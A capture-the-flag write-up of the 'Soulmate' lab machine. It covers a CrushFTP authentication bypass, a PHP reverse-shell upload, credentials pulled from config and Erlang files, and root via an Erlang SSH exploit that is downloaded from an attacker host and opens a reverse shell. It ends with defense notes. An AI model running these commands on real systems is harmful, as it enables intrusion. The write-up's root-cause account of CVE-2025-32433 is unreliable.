Attack Chain Overview
Subdomain enumeration → ftp.soulmate.htb (CrushFTP)
↓
CVE-2025-31161 — S3 header auth bypass → Admin access
↓
Upload webshell → RCE as www-data
↓
Config file → hardcoded password (not reused)
LinPEAS → internal port 2222 (Erlang SSH daemon)
Erlang script → hardcoded creds for ben
↓
SSH as ben (port 2222)
↓
CVE-2025-32433 — Erlang SSH RCE → RootPhase 1 — Reconnaissance
Nmap Scan
nmap 10.10.11.86 -sC -sV -p22,80PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http nginx 1.18.0 (Ubuntu)Two ports open — SSH and a web server. The site title was "Soulmate - Find Your Perfect Match", indicating a dating/matching web app.
Web Enumeration
dirsearch -u http://soulmate.htb301 → /assets/
302 → /dashboard.php (redirects to /login — auth required)
200 → /login.php
302 → /logout.php
302 → /profile.php (redirects to /login — auth required)
200 → /register.phpNothing immediately exploitable on the main domain. Registration appeared broken at the time.
Subdomain Enumeration
gobuster vhost -u http://soulmate.htb \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain -rftp.soulmate.htb → Status: 200Why this matters: Many HTB machines host services on subdomains not linked from the main site. Virtual host enumeration catches these hidden services — always run it before moving on.
Added ftp.soulmate.htb to /etc/hosts and navigated there.
CrushFTP Discovery
whatweb http://ftp.soulmate.htbCrushFTP, nginx/1.18.0 (Ubuntu)
Redirects to: /WebInterface/login.htmlWhat is CrushFTP? CrushFTP is an enterprise-grade multi-protocol file transfer server (FTP, SFTP, FTPS) with a web management interface. Seeing it here immediately flags it as a CVE target — enterprise software in CTF machines is almost always on a vulnerable version.
Phase 2 — Initial Access (CVE-2025-31161)
The Vulnerability
CVE-2025-31161 (also tracked as CVE-2025-2825) is an authentication bypass in CrushFTP's S3-compatible API endpoint. When the server is configured with lookupuserpass = true, it improperly validates S3-style Authorization headers — allowing an unauthenticated attacker to impersonate any user, including admin.
Root cause: CrushFTP trusted the username embedded in the S3 Authorization header without verifying the corresponding credential. You could claim to be admin in the header and the server accepted it.
Exploitation
The exploit sends a crafted HTTP request with a spoofed S3 Authorization header to authenticate as admin without knowing the password.
Once authenticated as admin, the next step was modifying users/MainUsers/ben.XML to grant the ben account upload permissions — possible because as CrushFTP admin you can edit user config files directly through the web interface.
Webshell Upload → RCE
With upload permissions enabled, a PHP reverse shell was uploaded through the CrushFTP web interface and triggered via curl:
# Listener
nc -lvnp 4444
# Trigger shell
curl "http://soulmate.htb/rev.php"Shell received as www-data.
Shell Stabilisation
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 160Phase 3 — Post-Exploitation & Lateral Movement
Initial Enumeration as www-data
cat /etc/passwdUser ben exists with a real shell (/bin/bash) but his home directory was not readable as www-data. This is the target for lateral movement.
Credential Discovery in config.php
cat ~/soulmate.htb/config/config.php$adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
$adminInsert->execute(['admin', $adminPassword]);The plaintext is visible in source code. Testing su ben with Crush4dmin990 failed — no password reuse here.
LinPEAS — Finding Hidden Internal Services
./linpeas.shKey finding — locally bound ports not exposed externally:
127.0.0.1:2222 ← Custom SSH service ★ INTERESTING
127.0.0.1:8443 ← Unknown
127.0.0.1:8080 ← Possibly dev interface
127.0.0.1:4369 ← Erlang Port Mapper Daemon (epmd)
127.0.0.1:9090 ← UnknownWhy port 2222 stands out: Port 4369 is the Erlang Port Mapper Daemon (epmd) — its presence hints that an Erlang application is running. A banner grab confirmed it:
nc 127.0.0.1 2222SSH-2.0-Erlang/5.2.9This is not OpenSSH — this is Erlang's own SSH implementation, running on a custom port.
Erlang Script with Hardcoded Credentials
find / -name "*.escript" 2>/dev/nullFound at /usr/local/lib/erlang_login/start.escript. Inside it:
{user_passwords, [{"ben", "HouseH0ldings998"}]}Why this is a critical finding: Hardcoding credentials in a startup script is a common real-world mistake. The developer configured the Erlang SSH server with a plaintext password in the source file, making it trivially discoverable by anyone with filesystem access.
SSH as ben
ssh ben@10.10.11.86 -p 2222Username: ben | Password: HouseH0ldings998
User Flag
ben@soulmate:~$ cat user.txtPhase 4 — Privilege Escalation (CVE-2025-32433)
The Vulnerability
CVE-2025-32433 is a critical RCE vulnerability in Erlang's built-in SSH server (ssh OTP application). When the SSH daemon is configured without proper session isolation or privilege separation, it allows authenticated users to execute arbitrary commands as the process owner — in this case, root.
Root cause: The Erlang SSH daemon ran as root and did not properly sandbox user sessions from the underlying OS process context. The exploit leverages this to execute commands with root privileges via a malformed SSH channel request.
Reference: OffSec CVE-2025-32433 Analysis
Exploitation
# Download PoC to target via curl
curl http://<attacker-ip>/cve-2025-32433.py -o exploit.py
# Run exploit against the local Erlang SSH daemon
python exploit.py 127.0.0.1 --shell --lhost <attacker-ip> --lport 4444Why it worked: The Erlang SSH daemon ran as root (it needed elevated privileges to bind to system-level resources) but failed to drop privileges after accepting connections. The vulnerable version (5.2.9) allowed session channel exploitation that broke out of the intended user context entirely.
Root Flag
root@soulmate:~# cat /root/root.txtWhat Went Wrong Along the Way
Credential reuse check too long: Spent too long trying to reuse Crush4dmin990 before moving on. One failed attempt is enough — document it and pivot.
Shell type check: Could have uploaded a simpler reverse shell earlier rather than researching complex RCE paths through CrushFTP. Get shell first, enumerate later.
Missed internal ports early: Checked ben's writeable directories too late. Focusing on readable files and config earlier would have saved time.
Key Commands Reference
# Subdomain Enumeration
gobuster vhost -u http://soulmate.htb \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
# Web Directory Enumeration
dirsearch -u http://soulmate.htb
# Banner Grab on Local SSH
nc 127.0.0.1 2222
# Output: SSH-2.0-Erlang/5.2.9
# Read Erlang startup script for credentials
cat /usr/local/lib/erlang_login/start.escript
# User pivot via Erlang SSH
ssh ben@10.10.11.86 -p 2222
# Escalation via CVE-2025-32433
curl http://<attacker-ip>/exploit.py -o exploit.py
python exploit.py 127.0.0.1 --shell --lhost <attacker-ip> --lport 4444Lessons Learned
What Worked Well
- Subdomain enumeration early revealed the CrushFTP instance which was the entire entry point. Skipping vhost enum would have left the machine untouched.
- Banner grabbing internal ports with
ncwas low-effort, high-reward — the Erlang version string immediately pointed toward a known CVE. - Reading all config and startup files systematically led to the hardcoded credentials in the Erlang script.
What to Do Faster Next Time
- One failed credential reuse attempt is enough — move on.
- Get shell first, enumerate everything second.
Detection & Defense
How to detect this attack:
- Alert on new file uploads to CrushFTP, especially executable types (
.php,.jsp,.sh) - Monitor for changes to user XML config files in CrushFTP
- Log all connections to internal-only ports (
127.0.0.1:2222) - Alert on privilege escalation events and unusual process spawning from SSH daemons
How to prevent it:
- Keep CrushFTP updated — CVE-2025-31161 was patched, running an old version is the root cause
- Never hardcode credentials in startup scripts or config files — use secrets management
- Run internal services with least privilege — the Erlang SSH daemon had no reason to run as root
- Implement proper privilege separation in any custom SSH service
CVE Summary
| CVE | Software | Type | Impact |
|---|---|---|---|
| CVE-2025-31161 | CrushFTP | Auth bypass via S3 header spoofing | Admin access without credentials |
| CVE-2025-32433 | Erlang/OTP SSH | RCE via SSH channel exploitation | Root shell |
Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Port scan and service fingerprinting |
| dirsearch | Web directory enumeration |
| gobuster | Vhost/subdomain enumeration |
| whatweb | Service fingerprinting |
| nc (netcat) | Banner grabbing + catch reverse shells |
| LinPEAS | Automated post-exploitation enumeration |
| Python exploit (CVE-2025-32433) | Erlang SSH privilege escalation |